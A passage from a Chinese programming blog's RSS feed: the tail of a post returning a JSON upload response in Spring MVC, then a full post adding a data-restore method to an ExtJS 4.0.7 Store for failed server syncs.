<p>参考文档：http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/mvc.html<br />
再补充一个可行的方法三：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> upload<span style="color: #009900;">&#40;</span>HttpServletResponse response, UserVO userVO<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		Map<span style="color: #339933;">&lt;</span>String, Object<span style="color: #339933;">&gt;</span> result <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> HashMap<span style="color: #339933;">&lt;</span>String, Object<span style="color: #339933;">&gt;</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		result.<span style="color: #006633;">put</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;success&quot;</span>, <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		response.<span style="color: #006633;">setContentType</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;text/html&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		ObjectMapper mapper <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ObjectMapper<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		mapper.<span style="color: #006633;">writeValue</span><span style="color: #009900;">&#40;</span>response.<span style="color: #006633;">getOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, result<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>问题解决了，但是还是不知道到底是哪出现的pre标签。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="Spring MVC 文件上传" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1124%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC 文件上传</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring MVC+Hibernate自动注入sessionFactory" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1262%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC+Hibernate自动注入sessionFactory</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring MVC" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1117%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring依赖注入" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F843%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring依赖注入</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring中Bean的作用域" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F846%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1414%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring中Bean的作用域</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.ineeke.com/archives/1414/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>ExtJS 4.0.7 给Store增加批量数据恢复功能</title>
		<link>http://www.ineeke.com/archives/1412/</link>
		<comments>http://www.ineeke.com/archives/1412/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 08:50:12 +0000</pubDate>
		<dc:creator>Neeke</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[数据恢复]]></category>

		<guid isPermaLink="false">http://www.ineeke.com/?p=1412</guid>
		<description><![CDATA[假设用GridPanel和Store完成一个用户管理的功能，现在要删除在GridPanel中已选中的记录，在Controller中实现方式大致如下： 1 2 3 4 5 var selModel = this.getGridPanel&#40;&#41;.getSelectionModel&#40;&#41;; if&#40;selModel.hasSelection&#40;&#41;&#41;&#123; this.getGridStore&#40;&#41;.remove&#40;selModel.getSelection&#40;&#41;&#41;; this.getGridStore&#40;&#41;.sync&#40;&#41;; &#125; 当第三行代码执行完的时候，GridPanel中我们选中的那些记录就已经消失了，然后第四行开始与服务器端同步（删除）数据，同步要么成功要么就是失败，同步成功的话是没有问题的，但是失败的话就出现问题了：UI上被移除的数据不会再出现了。 既然官方的API没有提供这样的功能，那就只能自己来实现了，在store的proxy中可以监听exception事件进行处理： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 listeners: &#123; exception: function&#40;proxy, response, operation, eOpts&#41;&#123; var error = operation.getError&#40;&#41;; if&#40;error.status&#41;&#123; error = error.status + ' ' + error.statusText; &#125; Ext.Msg.show&#40;&#123;title: '操作失败', msg: [...]<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="ASP.NET数据绑定" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F686%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">ASP.NET数据绑定</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="数据源控件的使用" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F689%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">数据源控件的使用</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="C#数据集" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F494%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">C#数据集</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring数据源的灵活配置巧应用" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F421%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring数据源的灵活配置巧应用</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="ExtJS GridPanel动态列" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F923%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/06/7706736.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">ExtJS GridPanel动态列</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>假设用GridPanel和Store完成一个用户管理的功能，现在要删除在GridPanel中已选中的记录，在Controller中实现方式大致如下：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> selModel <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getGridPanel</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">getSelectionModel</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>selModel.<span style="color: #660066;">hasSelection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getGridStore</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">remove</span><span style="color: #009900;">&#40;</span>selModel.<span style="color: #660066;">getSelection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getGridStore</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">sync</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><span id="more-1412"></span><br />
当第三行代码执行完的时候，GridPanel中我们选中的那些记录就已经消失了，然后第四行开始与服务器端同步（删除）数据，同步要么成功要么就是失败，同步成功的话是没有问题的，但是失败的话就出现问题了：UI上被移除的数据不会再出现了。<br />
既然官方的API没有提供这样的功能，那就只能自己来实现了，在store的proxy中可以监听exception事件进行处理：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">listeners<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span>
	exception<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>proxy<span style="color: #339933;">,</span> response<span style="color: #339933;">,</span> operation<span style="color: #339933;">,</span> eOpts<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> error <span style="color: #339933;">=</span> operation.<span style="color: #660066;">getError</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>error.<span style="color: #000066;">status</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			error <span style="color: #339933;">=</span> error.<span style="color: #000066;">status</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">' '</span> <span style="color: #339933;">+</span> error.<span style="color: #660066;">statusText</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>title<span style="color: #339933;">:</span> <span style="color: #3366CC;">'操作失败'</span><span style="color: #339933;">,</span> msg<span style="color: #339933;">:</span> error<span style="color: #339933;">,</span> buttons<span style="color: #339933;">:</span> Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">OK</span><span style="color: #339933;">,</span> icon<span style="color: #339933;">:</span> Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">WARNING</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #006600; font-style: italic;">//如果是删除操作就恢复被删除的数据</span>
		<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>operation.<span style="color: #660066;">action</span> <span style="color: #339933;">==</span> <span style="color: #3366CC;">'destroy'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			Ext.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span>operation.<span style="color: #660066;">records</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>record<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				Ext.<span style="color: #660066;">getStore</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'User'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">insert</span><span style="color: #009900;">&#40;</span>record.<span style="color: #660066;">lastIndex</span> <span style="color: #339933;">||</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> record<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>现在删除失败的话就不会消失不出现了，但是新问题来了：<br />
第一次删除u1失败了，然后u1被恢复，紧接着再删除u2也失败了，可以看到此时GridPanel中有两个u1和一个u2。<br />
经过阅读Store源码发现里面有一个名为removed的数组，里面存放着所有的被删除的数据，在同步的时候要删除的数据就是从它里面取的，如果同步失败的话它不会被清空，就出现上面的问题了。<br />
当然，不只是删除会出现这种问题，增加以及修改也存在这种问题。要处理的话还得去判断operation的action然后做相应的处理，而且定义的其它的Store都得这么来做，不如直接给官方那个Store增加一个数据恢复的方法：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">/**
 * @author Neeke
 * @date 2011-11-30 下午5:06:11
 * @email root[at]ineeke.com
 * @function 给Store增加恢复数据的方法
 */</span>
Ext.<span style="color: #660066;">data</span>.<span style="color: #660066;">Store</span>.<span style="color: #660066;">implement</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #006600; font-style: italic;">//恢复数据</span>
	restore<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
		<span style="color: #006600; font-style: italic;">//恢复被删除的数据</span>
		Ext.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">removed</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>record<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">insert</span><span style="color: #009900;">&#40;</span>record.<span style="color: #660066;">lastIndex</span> <span style="color: #339933;">||</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> record<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #006600; font-style: italic;">//恢复被修改的数据</span>
		Ext.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getUpdatedRecords</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>record<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			record.<span style="color: #660066;">reject</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #006600; font-style: italic;">//删除新添加的数据</span>
		<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">getNewRecords</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #006600; font-style: italic;">//恢复所有数据到原始值</span>
		<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>record<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			record.<span style="color: #660066;">reject</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">removed</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>用法：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">listeners<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span>
	exception<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>proxy<span style="color: #339933;">,</span> response<span style="color: #339933;">,</span> operation<span style="color: #339933;">,</span> eOpts<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> error <span style="color: #339933;">=</span> operation.<span style="color: #660066;">getError</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>error.<span style="color: #000066;">status</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			error <span style="color: #339933;">=</span> error.<span style="color: #000066;">status</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">' '</span> <span style="color: #339933;">+</span> error.<span style="color: #660066;">statusText</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>title<span style="color: #339933;">:</span> <span style="color: #3366CC;">'操作失败'</span><span style="color: #339933;">,</span> msg<span style="color: #339933;">:</span> error<span style="color: #339933;">,</span> buttons<span style="color: #339933;">:</span> Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">OK</span><span style="color: #339933;">,</span> icon<span style="color: #339933;">:</span> Ext.<span style="color: #660066;">Msg</span>.<span style="color: #660066;">WARNING</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		Ext.<span style="color: #660066;">getStore</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'User'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">restore</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>现在再试试增删改全都没问题了。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="ASP.NET数据绑定" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F686%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">ASP.NET数据绑定</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="数据源控件的使用" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F689%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">数据源控件的使用</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="C#数据集" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F494%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">C#数据集</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring数据源的灵活配置巧应用" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F421%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring数据源的灵活配置巧应用</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="ExtJS GridPanel动态列" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F923%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1412%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/06/7706736.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">ExtJS GridPanel动态列</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
